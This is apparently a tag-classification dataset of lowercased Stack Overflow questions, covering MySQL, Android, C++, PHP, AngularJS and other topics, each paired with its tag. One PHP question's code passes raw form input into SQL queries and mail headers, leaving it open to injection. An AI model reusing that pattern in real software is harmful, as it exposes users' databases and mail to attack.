mysql how to use join instead of in with where clause  can anyone please help me with below query in which i use in clause which leads performance issue. i want to use join for it but not sure how for do for such query.   <pre><code>select *  from user_followings  where followed_id =  xyz  and owner_id in (    select distinct owner_id     from feed_events     where dtype =  playlist  and last_updated_timestamp &gt;  20-04-2017  and (feed_type =  played_playlist  or feed_type =  started_listening )     order by last_updated_timestamp desc) ;    </code></pre>,mysql
unable to popback to expected fragment in android  i have problem with popbackstack in android. i have 3 menuitem of navigation drawer fraga  fragb  fragc.my problem   when i click on fraga  then click on fragb  then click on fragc my total fragment will count 3. i press back then  it will remove fragc and resume fragb. i expect that when i press back it will return to fraga. here is my code below. please kindly give me some solution. thank in advance.    code when i add fragment stack.   <pre><code>fragment fragment = null; if(menuitem.getitemid() == r.id.home){     fragment = new firstfragment(); } if(menuitem.getitemid() == r.id.setting){     fragment = new secondfragment(); } if(menuitem.getitemid()==r.id.trash){     fragment = new thirdfragment(); } this.replacefragment2(fragment); </code></pre>   method replace fragment   <pre><code>private void replacefragment2(fragment fragment){     string backstatname = fragment.getclass().getname();     fragmentmanager manager = getsupportfragmentmanager();     boolean fragmentpopped = manager.popbackstackimmediate(backstatname 0);     if(!fragmentpopped){ //if fragment not in backstack         fragmenttransaction transaction =  manager.begintransaction();         transaction.replace(r.id.flcontent fragment);         transaction.addtobackstack(backstatname);         transaction.commit();     } } </code></pre>,android
ruby on rails 3: how to find associated records through associated method   i have invoices with many items and payments.    this is my invoice model (at least a part of it):   <pre><code>def total   items.sum { |item| item.total } end  def balance   self.payments.sum(:amount) - self.total end </code></pre>   now in the payment view i am trying to find all the invoices with a balance less than 0:   <pre><code>&lt;%= f.select(:invoice_id  current_user.invoices.where( balance &gt;     0)) %&gt; </code></pre>   this doesn t work of course  because <em>balance</em> is not a column. but how can i insert a method there     thanks for any help.,ruby-on-rails
mysql php multiple where clause  here is my sql code for a search box (table contains rankings for m and f) and i want to get data only for m:   <pre><code> select *    from players where gender =  m  and    name like  %{$keywords}%     or surname like  %{$keywords}%    ; </code></pre>   i try to get values for players who are men (m)    so it s important that gender was m but for second and third where clause i want to put or,mysql
illegalstateexception: content has been consumed <pre><code>class videouploadtask extends asynctask&lt;void  void  string&gt; {     @override     protected string doinbackground(void... unsued) {         try {             log.i( videouploadtask    enters );              httpclient httpclient = new defaulthttpclient();             httpcontext localcontext = new basichttpcontext();             httppost httppost = new httppost(                  http://192.168.5.10/ijoomer_development/index.php option=com_ijoomer&amp;plg_name=jomsocial&amp;pview=album&amp;ptask=upload_video&amp;session_id= +constantdata.session_id +  );             multipartentity entity = new multipartentity(httpmultipartmode.browser_compatible);             bytearrayoutputstream bos = new bytearrayoutputstream();             // bitmap.compress(compressformat.jpeg  100  bos);             byte[] data = bos.tobytearray();             log.i( categoryid in vedio upload2     +constantdata.categoryid);             entity.addpart( categoryid   new stringbody(constantdata.categoryid.tostring()));             entity.addpart( video   new bytearraybody(data   myvideo.mp4 ));             /*              * entity.addpart( photocaption   new              * stringbody(caption.gettext() .tostring()));              */             httppost.setentity(entity);             httpresponse response = httpclient.execute(httppost localcontext);             inputstream in = response.getentity().getcontent();             bufferedreader reader = new bufferedreader(                     new inputstreamreader(                             response.getentity().getcontent()   utf-8 ));              string sresponse = reader.readline();              string strresponse = convertstreamtostring(in);             system.out.println(strresponse);             if (dialog.isshowing())                 dialog.dismiss();              return strresponse;          } catch (exception e) {             if (dialog.isshowing())                 dialog.dismiss();             // toast.maketext(getapplicationcontext()  exception image  toast.length_long).show();             log.e(e.getclass().getname()  e.getmessage()  e);             return null;         }          // (null);     } </code></pre>   getting error <strong>illegalstateexception: content has been consumed</strong> in log cat.what is the problem i m not able to find.please help me to correct this error.    problem of <strong>illegalstateexception: content has been consumed</strong> has been solved. but by this coding i am not able to upload the video. please give me some suggestion.,android
string compared to label text javascript  i am create a webiste and i basically need to see if the strings match in order to mark result as correct ( green ) or wrong ( red ).     problem that i am having is that it s always turned to red  even though the strings are both same  i have no clue where i went wrong.     here is the code    <pre><code>var checkedbutton = getcheckedradio(document.getelementsbyname( answer ));         var id = checkedbutton.id;         if(id== answer1 ){             var answer1 = document.getelementbyid( answer1text );             if(rightanswer == answer1.innerhtml){                     answer1.style.color =  #33ff00 ;             }              else{                     answer1.style.color =  red ;             }             }         else if(id== answer2 ){... </code></pre>   i have checked <code>rightanswer</code>  and <code>answer1.innerhtml</code> with <code>alert()</code> and it gives same results  but it doesn t work when i try to compare them... also tried with <code>===</code> operator  same thing...    <strong>html code edit</strong>   <pre><code>&lt;form&gt;             &lt;div id= left &gt;                 &lt;div id= a1 &gt;                     &lt;input type= radio  name= answer  value=   checked id= answer1 &gt;                     &lt;label id= answer1text &gt;odgovor na prvo pitanje&lt;/label&gt;                 &lt;/div&gt;                 &lt;div id= a2 &gt;                     &lt;input type= radio  name= answer  value=   id= answer2 &gt;                     &lt;label id= answer2text &gt;odgovor na prvo pitanje&lt;/label&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;div id= right &gt;                 &lt;div id= a3 &gt;                     &lt;input type= radio  name= answer  value=   id= answer3 &gt;                     &lt;label id= answer3text &gt;odgovor na prvo pitanje&lt;/label&gt;                 &lt;/div&gt;                 &lt;div id= a4 &gt;                     &lt;input type= radio  name= answer  value=   id= answer4 &gt;                     &lt;label id= answer4text &gt;odgovor na prvo pitanje&lt;/label&gt;                 &lt;/div&gt;             &lt;/div&gt;... </code></pre>   <strong>edit 2 - whole javascript</strong>   <pre><code>        &lt;script language= javascript  type= text/javascript &gt;     var counter = 1;     var split;     var rightanswer;     function potvrdi(){             counter = getcookie( counter );              if(counter ==   )counter = 1;              var potvrdi = document.getelementbyid( gmedu ).innerhtml;             if(potvrdi ==  potvrdi ){                 checkanswer();                 document.getelementbyid( gmedu ).innerhtml =  dalje ;              }             else{                 alert(counter);                 setcookie( counter  (parseint(counter)+1));                 dosplit();                 document.getelementbyid( gmedu ).innerhtml =  potvrdi ;                 document.getelementbyid( answer1text ).style.color =  black ;                 document.getelementbyid( answer2text ).style.color =  black ;                 document.getelementbyid( answer3text ).style.color =  black ;                 document.getelementbyid( answer4text ).style.color =  black ;             }          return false;     }     function setcookie(cname  cvalue) {         document.cookie = cname +  =  + cvalue +  ;  ;     }     function getcookie(cname) {         var name = cname +  = ;         var ca = document.cookie.split( ; );         for(var i=0; i&lt;ca.length; i++) {             var c = ca[i];             while (c.charat(0)==   ) c = c.substring(1);             if (c.indexof(name) == 0) return c.substring(name.length c.length);         }         return   ;     }     function dosplit(){         var text =  1.\r\n +...\\here is a huge string of text            split = text.split(/\b\d+\./);         var split1 = split[counter].split(/\n\w+\)/);         rightanswer = split1[1];         split1 = randomizeanswers(split1);         document.getelementbyid( question ).innerhtml = split1[0];         document.getelementbyid( answer1text ).innerhtml = split1[1];         document.getelementbyid( answer2text ).innerhtml = split1[2];         if(split1.length &gt; 3){             document.getelementbyid( answer3text ).innerhtml = split1[3];             document.getelementbyid( a3 ).style.visibility =  visible ;             }         else             document.getelementbyid( a3 ).style.visibility =  hidden ;         if(split1.length &gt; 4){             document.getelementbyid( answer4text ).innerhtml = split1[4];             document.getelementbyid( a4 ).style.visibility =  visible ;         }         else             document.getelementbyid( a4 ).style.visibility =  hidden ; }     function randomizeanswers(split1){         var length = split1.length-1;         var random = (parseint(math.random()*length))+1;         var tmp = split1[1];         split1[1] = split1[random];         split1[random] = tmp;         return split1;     }     function checkanswer(){         var checkedbutton = getcheckedradio(document.getelementsbyname( answer ));         var id = checkedbutton.id;         if(id== answer1 ){             var answer1 = document.getelementbyid( answer1text );             console.log(answer1.innerhtml)              console.log(rightanswer)             if(rightanswer === document.getelementbyid( answer1text ).value){                     answer1.style.color =  #33ff00 ;                     alert( tacno! );             }              else{                     answer1.style.color =  red ;                     alert( netacno! );             }             }         else if(id== answer2 ){             var answer2 = document.getelementbyid( answer2text );             if(rightanswer == (answer2.innerhtml))                  answer2.style.color =  #33ff00 ;             else                     answer2.style.color =  red ;         }         else if(id== answer3 ){             var answer3 = document.getelementbyid( answer3text );             if(rightanswer == (answer3.innerhtml))                  answer3.style.color =  #33ff00 ;             else                     answer3.style.color =  red ;         }         else if(id== answer4 ){             var answer4 = document.getelementbyid( answer4text );             if(rightanswer == (answer4.innerhtml))                  answer4.style.color =  #33ff00 ;             else                     answer4.style.color =  red ;         }     }     function getcheckedradio(radio_group) {         for (var i = 0; i &lt; radio_group.length; i++) {             var button = radio_group[i];             if (button.checked) {                 return button;             }         }         return undefined;     }  &lt;/script&gt; </code></pre>,javascript
good source code browser for c  i am on the look out for a good software for browsing kernel level code written in c. i am currently using source navigator. are there any better suggestions     edit: i work on systems with both windows and linux (ubuntu)  so it should run on at least one of them  but linux software is preferable.,c
how can i make an android application unremovable   how can i make an android application non-removable  no one can uninstall it from application manager.,android
can t render text with sdl2 using sdl2_ttf  i always get <code>segmentation fault core dumpet error</code>. i have no idea what s wrong  i know that i don t free the stuff at the end but that s not the reason (i guess). i am trying to create a very simple application that renders any text that you put into it  i can t make it working.   <pre><code>#include &lt;iostream&gt; #include &lt;sdl2/sdl.h&gt; #include &lt;sdl2/sdl_image.h&gt; #include &lt;sdl2/sdl_ttf.h&gt;  int main(int argc  char *argv[]) {     sdl_window *window = null;     sdl_renderer* rendertarget = null;      sdl_init(sdl_init_video);     ttf_init();      window = sdl_createwindow( potato   sdl_windowpos_centered  sdl_windowpos_centered  640  480  sdl_window_shown);     rendertarget = sdl_createrenderer(window  -1  sdl_renderer_accelerated | sdl_renderer_presentvsync);          ttf_font* sans = ttf_openfont( sans.ttf  30);         sdl_color white = {255  255  255};         sdl_surface* surfacemessage = ttf_rendertext_solid(sans   put your text here   white);         sdl_texture* message = sdl_createtexturefromsurface(rendertarget  surfacemessage);         sdl_rect message_rect = {50 50 300 300};      bool isrunning = true;     sdl_event ev;      while (isrunning)     {         while (sdl_pollevent(&amp;ev) != 0)         {             if (ev.type == sdl_quit)                 isrunning = false;         }          sdl_renderclear(rendertarget);         sdl_rendercopy(rendertarget  message  null  &amp;message_rect); //         sdl_renderpresent(rendertarget);     }      sdl_quit();     ttf_quit();      return 0; } </code></pre>,c++
why does it put in the values twice in the database   i got a problem and i don t know where the problem comes from   my code :    <pre><code>&lt; php session_start(); if( isset( $_post[ verzenden1 ] ) ) {     $bestelling =  gunsafe ; } if( isset( $_post[ verzenden2 ] ) ) {     $bestelling =  5-6 wapens(sleutel) ; } if( isset( $_post[ verzenden3 ] ) ) {     $bestelling =  5-6 wapens(toetsenbord) ; } if( isset( $_post[ verzenden4 ] ) ) {     $bestelling =  8-16 wapens(sleutel) ; } if( isset( $_post[ verzenden5 ] ) ) {     $bestelling =  8-16 wapens(toetsenbord) ; } if( isset( $_post[ verzenden6 ] ) ) {     $bestelling =  pistoolkluis ; } if( isset( $_post[ versturen ] ) ) {     include  databankverbinden.php ;      $bestelling1 = $_post[ bestelling ];     $naam = $_post[ naam ];     $adres = $_post[ adres ];     $telefoon = $_post[ telefoonnummer ];     $email = $_post[ email ];     if( isset( $_post[ levering ] ) &amp;&amp; $_post[ levering ] ==  ja  )     {         $sql =  insert into bestelling(naam  adres  telefoon  email  bestelling  levering) values ( $naam   $adres   $telefoon   $email   $bestelling1   1 ) ;          $result = mysql_query( $sql ) or die(  query fout  );         if( !filter_var( $email  filter_validate_email ) )         {             echo  &lt;script&gt;alert( e-mail is niet geldig! )&lt;/script&gt; ;             echo  &lt;script&gt;document.location.href= betaling.php &lt;/script&gt; ;         }         else         {             $to =  titansafes@telenet.be ;             $subject =  bestelling ;             $message =  de volgende persoon : $naam \n heeft besteld: $bestelling1 \n gegevens: \n adres: $adres \n telefoon nummer : $telefoon \n e-mail : $email  \n deze persoon zou graag zijn kluis geleverd zien.   ;             $from =  $email ;             $headers =  from:  . $from;             mail( $to  $subject  $message  $headers );             echo  &lt;script&gt;alert( uw bestelling is geplaatst   klik op home als u weg wilt gaan. );&lt;/script&gt; ;         }     }     else     {         $sql =  insert into bestelling(naam  adres  telefoon  email  bestelling  levering) values ( $naam   $adres   $telefoon   $email   $bestelling1   0 ) ;         $result = mysql_query( $sql ) or die(  query fout  );         if( !filter_var( $email  filter_validate_email ) )         {             echo  &lt;script&gt;alert( e-mail is niet geldig! )&lt;/script&gt; ;             echo  &lt;script&gt;document.location.href= betaling.php &lt;/script&gt; ;         }         else         {             $to =  titansafes@telenet.be ;             $subject =  bestelling ;             $message =  de volgende persoon : $naam \n heeft besteld: $bestelling1 \n gegevens: \n adres: $adres \n telefoon nummer : $telefoon \n e-mail : $email \n deze persoon zou graag zijn kluis komen afhalen.   ;             $from =  $email ;             $headers =  from:  . $from;             mail( $to  $subject  $message  $headers );             echo  &lt;script&gt;alert( uw bestelling is geplaatst   klik op home als u weg wilt gaan. );&lt;/script&gt; ;         }     }     $result = mysql_query( $sql ) or die(  query fout  );     if( !filter_var( $email  filter_validate_email ) )     {         echo  &lt;script&gt;alert( e-mail is niet geldig! )&lt;/script&gt; ;         echo  &lt;script&gt;document.location.href= betaling.php &lt;/script&gt; ;     }     else     {         $to =  $email ;         $subject =  bestelling ;         $message =  beste klant \n u heeft een bestelling geplaatst op titansafes. u wordt binnenkort gecontacteerd over uw bestelling ($bestelling1). \n met vriendelijke groeten \n titansafes ;         $from =  titansafes@telenet.be ;         $headers =  from:  . $from;         mail( $to  $subject  $message  $headers );     } }  &gt; </code></pre>   it puts the values twice in the database   if the  levering  = 1   it puts it in the database   but like this : <img src= https://i.stack.imgur.com/1b54w.jpg  alt= enter image description here > and also if the  levering  = 0   the same : <img src= https://i.stack.imgur.com/cw6lk.jpg  alt= enter image description here > i don t get why it does that ....,php
method returning href to ng-href being called contineously  i have a menu widget in which every menu item can expand into another sub-menu. something similar to this: <a href= http://plnkr.co/mgqckafuexszsfcwthu5 p=preview  rel= nofollow >http://plnkr.co/mgqckafuexszsfcwthu5 p=preview</a>    the link markup is:   <pre><code>&lt;a class= link-class      ng-href={{ getlink(item) }}     ng-style= settextalignment(level) &gt;     {{ item.name }}  &lt;/a&gt; </code></pre>   with the following method defined in the controller:   <pre><code> /**  * @param {!angular.scope} scope the scope of the directive.  * @param {!object} item the menuitem.  * @return {string} whether current user can access item.  * @private  */  collapsiblesubmenu.getlink_ = function(scope  item) {    console.log( link called );    return item[ submenu ]      : item[ link ];  }; </code></pre>   so basically if the item has a submenu (submenu === true)  it should not have an href (but the items data from backend has items with submenu: true and a valid link. this was ok for the old implementation of the menu.)    now the problem is that as soon the menu item appears on screen  i can see the console.log printing messages  link called  every second or so. the item object once retrieved does not change. so why is this getlink method being called so frequently,angularjs
pointers give seg fault  here s the program   <pre><code>    #include &lt;iostream&gt;     #include &lt;time.h&gt;     #include &lt;conio.h&gt;     #include &lt;cstdlib&gt;     #include &lt;windows.h&gt;      using namespace std;      const int widht = 117 height = 26;      class paddle     {     private:         int y;         int originaly;     public:         paddle()         {                     y=height/2-2;             originaly=y;         }         inline int gety()         {             return y;         }         inline void moveup()         {             y--;         }         inline void movedown()         {             y++;         }         void checkwall()         {             if (y&lt;0)             {                 while (y&lt;0)                 {                 y++;                 }             }             else if (y&gt;height)             {                 while (y&gt;height)                 {                 y--;                 }             }         }         void reset()         {         y=originaly;         }     };      class ball     {     private:         int x y;         int originalx originaly;     public:         ball()         {             x=widht/2;             y=height/2;             originalx=x;             originaly=y;         }         inline int getx()         {             return x;         }         inline int gety()         {             return y;         }         inline void moveright()        {             x++;        }         inline void moveupright()         {             x++;             y--;         }         inline void movedownright()         {             x++;             y++;         }         inline void moveleft()         {             x--;         }         inline void moveupleft()         {             y--;             x--;         }         inline void movedownleft()         {             y++;             x--;         }         inline void reset()         {             x=originalx;             y=originaly;        }     };      class manager     {     private:         int score1 score2;         int columns  rows;     public:         int p1y;         int p2y;         int ballx bally;         bool gameover;         manager()         {             gameover = false;         }         void draw(paddle *p1 paddle *p2 ball *b)         {               system( cls );             p1y=p1-&gt;gety();             p2y=p1-&gt;gety();             ballx=b-&gt;getx();             bally=b-&gt;gety();             for (int i=0;i&lt;height;i++)             {                 for (int j=0;j&lt;widht;j++)                 {                     if (i==p1y &amp;&amp; j==2)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==p1y+1 &amp;&amp; j==2)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==p1y+2 &amp;&amp; j==2)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==p1y+3 &amp;&amp; j==2)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==p1y+4 &amp;&amp; j==2)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==p2y &amp;&amp; j==widht-1)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==p2y+1 &amp;&amp; j==widht-1)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==p2y+2 &amp;&amp; j==widht-1)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==p2y+3 &amp;&amp; j==widht-1)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==p2y+4 &amp;&amp; j==widht-1)                     {                         cout &lt;&lt;  \xdb ;                     }                     else if (i==ballx &amp;&amp; j==bally)                     {                         cout &lt;&lt;  o ;                     }                     cout &lt;&lt;    ;                 }                 cout &lt;&lt; endl;             }             cout &lt;&lt; p1 -&gt; gety();         }         void input(paddle *p1 paddle *p2)         {             if (_kbhit())             {                 switch(_getch())                 {                     case  w :                         p1-&gt;moveup();                         break;                     case  s :                         p1-&gt;movedown();                         break;                     case  i :                         p2-&gt;moveup();                         break;                     case  k :                         p2-&gt;movedown();                         break;                 }             }         }         void run(paddle *p1 paddle *p2  ball *b)         {             while(!gameover)             {                 draw(p1 p2 b);                 input(p1 p2);                 sleep(10);             }         }     };      int main()     {         paddle *p1;         paddle *p2;         ball *b;         manager *m;         m-&gt;run(p1 p2 b);         return 0;     } </code></pre>   i can t understand why when i launch the program it give (with the debugger) segmentation fault. i think cause are pointers  because before it worked perfectly(but without modifiyng values); hae any tips,c++
java  sort text into lines  i m writing a code that read a text from a file and then sort it into lines of max specific width.    example: a text that contains  aaaa bbbb cccc dddd     specified width is 16    so the output should be    <pre><code>aaaa bbbb cccc //width is only 14  if dddd is added  it would be longer than 16.  dddd </code></pre>   my approach: read the text and assign it to a string   <pre><code>scanner input_out = new scanner(new file( abc ));  printstream output = new printstream( abc ); . .    while (input_out.hasnextline()) {             str = input_out.nextline();         }  string s =   ;  while(input_out.hasnext()) { // get words if it still have              if (s.length() + input_out.next().length() &gt; width) {                  s = str.substring(0 s.length());                 output.println(s);                 str = str.substring(s.length()+1 str.length());                 s =   ;             }             else {                 s += input_out.next();             }          } </code></pre>   although it compiles. but the file doesn t show any output. i think my code is not right. i know there is options for stringbuild  string split  array. but i m now allowed to do that.,java
how to build associations for multiple roles   i m building a rails application with multiple roles. i can t use inheritance against the user model because each role has very different properties and behavior (ie - different page access and abilities once logged in). so i ve decided to build separate models for each role (ie - customer  service provider  customer representative  etc).     how would the associations for this work  i came up with the following but the role class just looks bad to me. it wouldn t be so bad if the user could have multiple roles but since they only have one i d have to write a custom validation in role ensuring that only one role was selected. what do you guys think    <pre><code>class user &lt; activerecord::base   has_one :role end  class role &lt; activerecord::base   has_one :customer   has_one :service_provider   has_one :customer_representative end  class customer &lt; activerecord::base end  class serviceprovider &lt; activerecord::base end  class customerrepresentative &lt; activerecord::base end </code></pre>,ruby-on-rails
anycpu and referenced assembly compiled for several platforms  i want my library to be compiled for anycpu.  and it should load referenced library for actual platform. (i have externallib.dll for x86 and x64 platforms)    is it possible with static binding,.net
mysql select equals condition work as like condition  i got today strange results  when i use query   <pre><code> select id  zip from `locations` where zip =  4000xxxxx  </code></pre>   which simply fetchs id and zip code where zip code should be equals to condition.  schema:   <pre><code>zip int(11) </code></pre>   i have in table rows with zip values <code>4000</code> and expected result of this query is no result.     simply - equals condition works as like condition where there is string and type of column is int. whats going on      <a href= https://i.stack.imgur.com/wu3ni.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wu3ni.png  alt= picture ></a>,mysql
what are correct potential answers to this html/images assignment   today my exam paper was showed and i failed in ict subject. i wrote 2 question s answer about html solving! (or you can say i had to write html for those question in answer paper).     in the question s detail there was wrote:-   <blockquote>    a boy designed a web page where he used a 500*400p image named sunset.png . if the browser can not able to show that pic then it will show  missing  text in the browser window. then he showed this to his friend. then his friend do something so when click in the picture then he will go to youtube.        question no.1:-        write the html code that the 1st boy used.        question no.2:-         write the html code that 2nd boy used.  </blockquote>   for the 1st question i wrote:-   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt; &lt;title&gt;my webpage&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;&lt;img src= sunset.png  width= 500  height= 300  alt= missing &gt;&lt;/p&gt; &lt;/body&gt;   &lt;/html&gt; </code></pre>   for the 2nd question i wrote:-   <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt; &lt;title&gt;my webpage&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt; &lt;a href= https://www.youtube.com &gt; &lt;img src= sunset.png  width= 500 height= 300  alt= missing &gt; &lt;/a&gt; &lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   my sir told my mistook was <code>&lt;p&gt;</code> tag. i can not use paragraph tag outside of image. so  out of 7 i got 0 marks. so  i want to know that was true  then why the browser showing the pic      if you have any reference that day you can use <code>&lt;p&gt;</code> outside of <code>&lt;img&gt;</code> tag please give me that site s link too. so  i can take screen shot and show him.,html
need to delete row from the table  i had a table as example below. i need to delete a particular row that contains both subscriber_id=6 and queue_id=148. what is the query to delete it  <a href= https://i.stack.imgur.com/sgztr.png  rel= nofollow noreferrer >enter image description here</a>,sql
status change shown in html page  what technology may i use to update the status (in term of data) of a dynamic page without user interaction and only through tcp messages,html
mysql: insert new records in one table using some specific values from another  i have two tables with the following fields:   <blockquote>    tablename: character   <pre><code>columns: accountid  characterid  charname  id1  id2  id3  level </code></pre>       tablename: bankitem   <pre><code>columns: charid  name  itemid  count  type  id1  id2  id3  color  effect1  effect2  effect3  lifespan  attribute </code></pre> </blockquote>   i would like to insert new rows into table bankitem. i need to look up information from one table (character) and use some of it to as values in the second table (bankitem). i would only like to define the charid and id1  id2  id3 once  although each row would have these values.    so for example  record in character table:   <pre><code>1000  1500  warriorbob  1200  905  -2345  180 </code></pre>   <strong>query/insert:</strong>   <pre><code>select *  from  `character`  where  `charname` like   warriorbob  limit 0   1000 </code></pre>        <pre><code>insert into bankitem (charid  name  itemid  count  type  id1  id3  color  effect1  effect2  effect3  lifespan  attribute) values ( #characterid from warriorbob s record in character table#    zemstoneofsacrifice    650    1    2    #id1 from warriorbob s record in character table#    #id2 from warriorbob s record in character table#    #id3 from warriorbob s record in character table#    0    0    0    0    3    0 ) </code></pre>,mysql
site map page in asp.net  how to create site map page (like <a href= http://www.google.com/sitemap.html  rel= nofollow noreferrer >http://www.google.com/sitemap.html</a> or <a href= http://www.microsoft.com/presspass/sitemap.mspx  rel= nofollow noreferrer >http://www.microsoft.com/presspass/sitemap.mspx</a>) in asp.net,asp.net
angular js directive for automatically insert slashes  /  in date fields. for example mm/dd/yyyy  i m trying to add functionality to input date fields so as when the users enters in digits  slashes  /  get automatically added its in jquery but i need in angular js directive. thanks in advance,angularjs
paradigm for handling references to parents (or functional global data) in java - example  i have 3 classes instantiated with unknown property values. each class serves as  a property of the one before it. i m looking for the best way to access the <code>top</code> object from a method in the bottom object.   <pre><code>public class top {   private list&lt;middle&gt; middle;    public int getmiddlesize() {     return this.middle.size();   } }  public class middle {   private list&lt;bottom&gt; bottom; }  public class bottom {   private string name;    //access top.getmiddlesize() here } </code></pre>   should i just pass the <code>top</code> object all the way down to the bottom  or is there a good way to make the <code>top</code> object accessible globally,java
z-index not working in my code  i have the following code:    <pre><code>&lt;body&gt;    &lt;div id= boarder &gt;      &lt;div id= player-time &gt;&lt;/div&gt;   .   .   .   &lt;/body&gt; #player-time{   background-color: green;   height:30px;   width: 150px;   position:absolute;    top: 0px;   left:100px;     border-top-right-radius: 30px;    border-top-left-radius: 30px;    text-align: center;   color: white;   z-index: -10;   } #boarder{   background-color: #5fbaac;   height: 350px;   width: 350px;     position: relative;   margin: 10% auto auto auto;   padding-top: 30px;   border-radius: 30px;     z-index: 10; } </code></pre>   the id #player-time is being displayed in front of the boarder element. can someone explain me why the z-index property is not working,css
notifydatasetchanged() method does not work  i have created one application in that i have created a custom listview. when user click the download button which is present in custom listview then file will be downloaded then i want to disable or hide that button and i am able to hide that button but when user press back and come again then the button hide but i want when user click the download button and file should be downloaded then immediately hide that button. this is the code of my custom list adapter    <pre><code>     @override               public view getview(final int position  view convertview                  viewgroup parent)              {          viewholder holder;         if(convertview==null) {             holder = new viewholder();             convertview = inflater.inflate(r.layout.list_layout  null); typeface.createfromasset(getcontext().getassets()  droidsans-bold.ttf );             holder.textviewname = convertview.findviewbyid(r.id.textviewname);             holder.textviewurl = convertview.findviewbyid(r.id.textviewurl);            holder.download = convertview.findviewbyid(r.id.downloadimage);             convertview.settag(holder);         }         else         {             holder=(viewholder)convertview.gettag();         }       holder.textviewname.settext(pdflist.get(position).getname());       holder.textviewurl.settext(pdflist.get(position).geturl());         file file = new file(environment.getexternalstoragedirectory() +  /                  +  android + / + data + / + foldername + / + pdflist.get(position).getname()+ .pdf );         if(file.exists())         {             holder.download.setvisibility(view.gone);          }         else         {             holder.download.setvisibility(view.visible);             holder.download.setonclicklistener(new view.onclicklistener() {                 @override                 public void onclick(view view) {                     monitemclicklistener.onitemclick(position);                 }             });          }         notifydatasetchanged();         return convertview;      } </code></pre>,android
creating resource file in c#  i am using the beolw code to create a resource file in c#.   <pre><code>iresourcewriter writer = new resourcewriter(@ c:\abc\try1.resources ); writer.addresource(name  value); writer.close(); </code></pre>   but when i am trying to open the resource file which is being created  its seems to be distorted. normally when i double clickon any resources file (.resx) it opens in an xml format.    can anyone help me out here.,c#
how to let jquery unwrap text if the link is uncomplete  i have a list of items and basically all should have a link and an image – but some don t. since i can t check either via php i have to do it through jquery.     this is the actual html i m refering to: two entries – first one with missing link and missing image – second entry has a working link ( /node/number ) and an image ( /images/number-thumb.jpg )   <pre><code>&lt;div class= related-entry &gt;     &lt;a href= /node/ &gt;       &lt;div class= related-image &gt;         &lt;img src= /images/-thumb.jpg /&gt;       &lt;/div&gt;       &lt;div class= related-term &gt;term a&lt;/div&gt;     &lt;/a&gt;   &lt;/div&gt;   &lt;div class= related-entry &gt;     &lt;a href= /node/64207 &gt;       &lt;div class= related-image &gt;         &lt;img src= /images/64207-thumb.jpg /&gt;       &lt;/div&gt;       &lt;div class= related-term &gt;term b&lt;/div&gt;     &lt;/a&gt;   &lt;/div&gt; </code></pre>   this is the original function i used – it does remove the links – but also on the second item.    <pre><code>// remove  empty  links $( a ).each(function() {     var href = $(this).attr( href );     if(href ==  /node/ ) {           $( a ).contents().unwrap();     } }); </code></pre>   removing empty image tags works perfectly fine – image tag for the first entry is hidden  second entry shows the image:    <pre><code>// remove empty images (works) $( img ).each(function() {     var src = $(this).attr( src );     if(src ==  /images/-thumb.jpg ) {      $(this).remove(); } }); </code></pre>   i also tried different aproaches – but either all links are removed  or none. here s a version where i tried to  communicate  the broken link through an empty id attribute:   <pre><code>// remove empty links (does not work) $( a ).each(function() { if($(this).attr( id ) ==   ) {   $( a ).contents().unwrap();     } }); </code></pre>   what am i missing  greatful for any suggestions / pointers… thnx!,jquery
what are the returned parameters in the jquery ajax success option   jquery <a href= http://api.jquery.com/jquery.ajax/  rel= nofollow noreferrer >documentation</a> indicates the following is returned:   <blockquote>    success(data  textstatus    xmlhttprequest)function        a function to be called if the request   succeeds. the function gets passed   three arguments: the data returned   from the server  formatted according   to the  datatype  parameter; a string   describing the status; and the   xmlhttprequest object. this is an ajax   event.  </blockquote>   i have only been using the  data  parameter. what is the purpose of the  textstatus  ...i get  undefined  when i put this var in an alert (within the success function) what can i get from the xmlhttprequest  and how do i access it     thanks,jquery
how to implement operator== for polymorphic classes in c++ <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1691007/whats-the-right-way-to-overload-operator-for-a-class-hierarchy >what’s the right way to overload operator== for a class hierarchy </a>    </blockquote>     i have a base class and several derived classes like in the following code:   <pre><code>class base { public:     friend bool operator==(const base&amp;  const base&amp;);     virtual ~base(){}  private:     virtual bool equals(const base&amp; other) const = 0; };  bool operator==(const base&amp; lhs  const base&amp; rhs) {     return lhs.equals(rhs); }  class a : public base { public:     a(int x) : x_(x){}  private:     virtual bool equals(const base&amp; other) const;     int x_; };  bool a::equals(const base&amp; other) const {     const a* pa = dynamic_cast&lt;const a*&gt;(&amp;other);     if(!pa) return false;     return x_ == pa-&gt;x_; }  class b : public base { public:     b(double y) : y_(y){}  private:     virtual bool equals(const base&amp; other) const;     double y_; };  bool b::equals(const base&amp; other) const {     const b* pb = dynamic_cast&lt;const b*&gt;(&amp;other);     if(!pb) return false;     return y_ == pb-&gt;y_; } </code></pre>   to be able to compare two derived classes i want to have operator==. the question is how to achieve this in an object oriented way (e.g. respecting encapsulation  maintainability and extensibility). are there some recommended patterns to do that  is there an alternative to the above approach avoiding dynamic_cast,c++
